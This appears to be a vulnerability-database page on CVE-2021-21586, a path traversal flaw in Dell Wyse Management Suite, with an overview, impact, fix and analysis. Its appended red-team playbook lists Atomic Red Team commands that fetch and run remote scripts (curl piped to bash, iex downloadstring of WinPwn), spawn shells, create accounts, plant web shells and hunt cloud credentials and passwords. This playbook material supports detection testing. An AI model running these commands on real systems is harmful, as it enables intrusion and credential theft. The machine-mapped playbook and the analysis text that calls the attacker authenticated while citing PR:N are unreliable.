CVE-2021-21586
Overview
This vulnerability is an absolute path traversal flaw affecting Dell Wyse Management Suite versions 3.2 and earlier. It arises from improper validation of file path inputs, allowing manipulation of file system paths beyond intended directories. The affected component is the file handling mechanism within the management suite's backend, which does not adequately sanitize user-supplied path parameters.
Vulnerability Description
Wyse Management Suite versions 3.2 and earlier contain an absolute path traversal vulnerability. A remote authenticated malicious user could exploit this vulnerability in order to read arbitrary files on the system.
Impact
An attacker with valid authentication credentials can exploit this vulnerability to read arbitrary files on the underlying system, potentially exposing sensitive configuration files, credentials, or other protected data. The attack requires network access to the management suite and valid user authentication, as indicated by the CVSS vector (PR:N, UI:N). The compromise of confidential information could facilitate further attacks or unauthorized system access, impacting organizational security and data confidentiality.
Solution
Dell has addressed this vulnerability in Wyse Management Suite version 3.3 and later. Users should upgrade to the latest available version as detailed in Dell's advisory (https://www.dell.com/support/kbdoc/000189363). The advisory provides step-by-step patching instructions and recommends applying the update promptly to mitigate the absolute path traversal issue. No alternative workarounds are specified.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Wyse Management Suite versions 3.2 and earlier is characterized as an absolute path traversal flaw. This type of vulnerability allows an attacker, who has already gained authenticated access to the system, to manipulate file paths in such a way that they can access files outside the intended directory structure. By exploiting this flaw, an attacker can craft requests that include directory traversal sequences, such as "../", to navigate the file system and read sensitive files that should not be accessible. This could include configuration files, user data, or even system files that contain critical information about the environment and its users.
The attack vectors for this vulnerability primarily involve authenticated users who may have malicious intent. Once an attacker has compromised a user account, they can leverage the path traversal vulnerability to access files that are typically restricted. For instance, an attacker could exploit this flaw to read sensitive configuration files that contain database credentials or API keys, which could then be used to escalate their privileges or further compromise the system. Additionally, if the attacker can access user data files, they may be able to exfiltrate personal information, leading to potential identity theft or further attacks against the organization.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Wyse Management Suite for device management and monitoring. The ability to read arbitrary files can lead to data breaches, loss of sensitive information, and damage to the organization's reputation. Furthermore, the exploitation of this vulnerability could result in compliance violations, especially in industries that are subject to strict data protection regulations. The business risk is compounded by the potential for financial loss, both from remediation efforts and from the fallout of a publicized breach, which can erode customer trust and lead to a decline in business.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate such flaws before they can be exploited. Additionally, organizations should enforce strict access controls to limit the number of authenticated users who have access to sensitive areas of the system. Implementing logging and monitoring solutions can also help detect unusual access patterns that may indicate an attempted exploitation of the vulnerability. Finally, organizations should ensure that they are running the latest version of the Wyse Management Suite, as updates often include patches for known vulnerabilities.
In conclusion, the absolute path traversal vulnerability in Wyse Management Suite poses a significant threat to organizations that utilize this software for device management. The potential for unauthorized access to sensitive files can lead to severe consequences, including data breaches and reputational damage. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, ensuring the integrity and confidentiality of their data.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Wyse Management Suite | All |
cpe:2.3:a:dell:wyse_management_suite:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-21586 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/kbdoc/000189363 |